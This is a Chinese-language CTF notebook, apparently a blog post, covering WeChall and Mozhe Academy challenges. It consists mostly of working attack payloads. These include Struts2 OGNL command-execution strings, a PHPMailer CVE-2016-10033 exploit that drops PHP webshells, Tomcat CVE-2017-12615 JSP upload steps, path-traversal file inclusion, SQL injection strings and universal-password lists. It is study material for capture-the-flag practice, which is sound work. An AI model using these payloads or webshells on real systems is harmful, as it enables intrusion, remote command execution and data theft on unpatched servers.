ctf笔记(wechall & 墨者学院) 19.9.14-‎19.‎9‎.30‎

本次笔记以墨者学院、wechall为主


s-007
填入信息,发现age有报错提示
填入'+(#application)+'
发现有回显,证明存在漏洞
payload:' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls /').getInputStream())) + '
此处的'+ +'是为了闭合两端的引号,ls / 为执行的命令,建议使用burpsuite来查看response

s-001
填入信息,发现会回显原来填入的信息
密码处填入%{1+1},回显2,说明存在漏洞
payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
像这种需要输入空格的命令需要用','隔开,如果是whoami只需要new java.lang.String[]{"whoami"})

PHPMailer CVE-2016-10033
PHPMailer中的mail函数在发送邮件时使用了系统sendmail方法,由于没有足够过滤使得用户可以注入攻击代码
Exp:
"attacker\" -oQ/tmp -X/var/www/html/hack.php some"@example.com 构造邮箱
<?php @eval($_POST[shadow]);?> 消息
发送时会发现卡住,直接访问/hack.php,会发现已经上传成功,然后菜刀连接
一句话木马也可以改写成<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST["cmd"]); system($cmd); echo "$cmd"; die;}?>
则可以访问/hack.php/?cmd= 然后就可以远程执行命令拿到key

SQL过滤字符后手工注入
用like替换=,然后like也要url编码,用/**/替换空格,其余关键字url编码(数字不需要)

PHP本地包含漏洞
查看源码发现注释提示r.php会包含变量名为p的txt,而key在the_key_is_here.txt中
payload:/r.php?p=../../../../the_key_is_here 用../跨越目录来读文件

SQLite手工注入
仍然是用'、and 1=1、and 1=2 来进行判断
发现是数字型注入,order by N 判断字段数
union select 1,2,...,N 看正常回显
union select 1,name,sql,4 from sqlite_master 爆表名和列名(name是表名,sql是列名)
union select 1,name,password,4 from 表名 limit N,1 (N>=0)爆字段值

Tomcat 远程代码执行漏洞 CVE-2017-12615
漏洞条件:org.apache.catalina.servlets.DefaultServlet的readonly为false
刷新页面,bp抓包,get改post,地址构造/xxx.jsp/ (或jsp%20、jsp::$DATA)
内容传jsp马

php全局漏洞 wechall
审核代码发现: if (isset($login))
if (strtolower($login[0]) === 'admin') xxx
payload:globals.php?login[0]=admin

Limited Access wechall
提示用了.htaccess文件保护
打开.htaccess,发现:
AuthUserFile .htpasswd
<Limit GET>
payload:burpsuite抓包,改get为post,传输内容.htpasswd

Training: PHP LFI
审核代码发现$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
payload:file=../../solution.php%00

Training: Crypto - Caesar II
题目给出16进制数据,先转为10进制数据
然后写程序,通过数字数组将数据偏移1~128位(题目提示),最后输出字符串即可

Training: MySQL II
密码和用户名分开验证,用户名处无过滤,可用union select构造查询绕过
payload:
账户:' union select 1,'admin',md5('password');#
密码:password
万能密码延伸:
' UNION Select 1,1,1 FROM admin Where ''='

No Escape
核心代码"UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1" 注意,此处用了`而非'
payload:bill'=111--%20
相当update noescvotes set `bill`=111 --%20`=`$who`+1 WHERE id=1"

Training: Encodings I
题目给出一堆01码,提示翻译为英文,并给出工具
payload:猜测是binary,先用binary format分组,默认8个一组,多出一个0,尝试7分组,分组完成,再用binary to ascii

万能密码注入小结
字符型:
' or '1'='1 / ' or '1'='1
' or ''=' / ' or ''='
' union select 1,1,1 from admin Where ''=' / 1 (假设admin表的结构为id、username、password)
数字型:
' or 1=1#(#可换成/*或--)
admin'#
'=' / '='

日志分析
notepad打开日志文件,正则匹配uploads(.*)(php|jsp|asp),找到上传的马和对应的黑客ip

猜你喜欢

转载自www.cnblogs.com/5h4d0w/p/11612146.html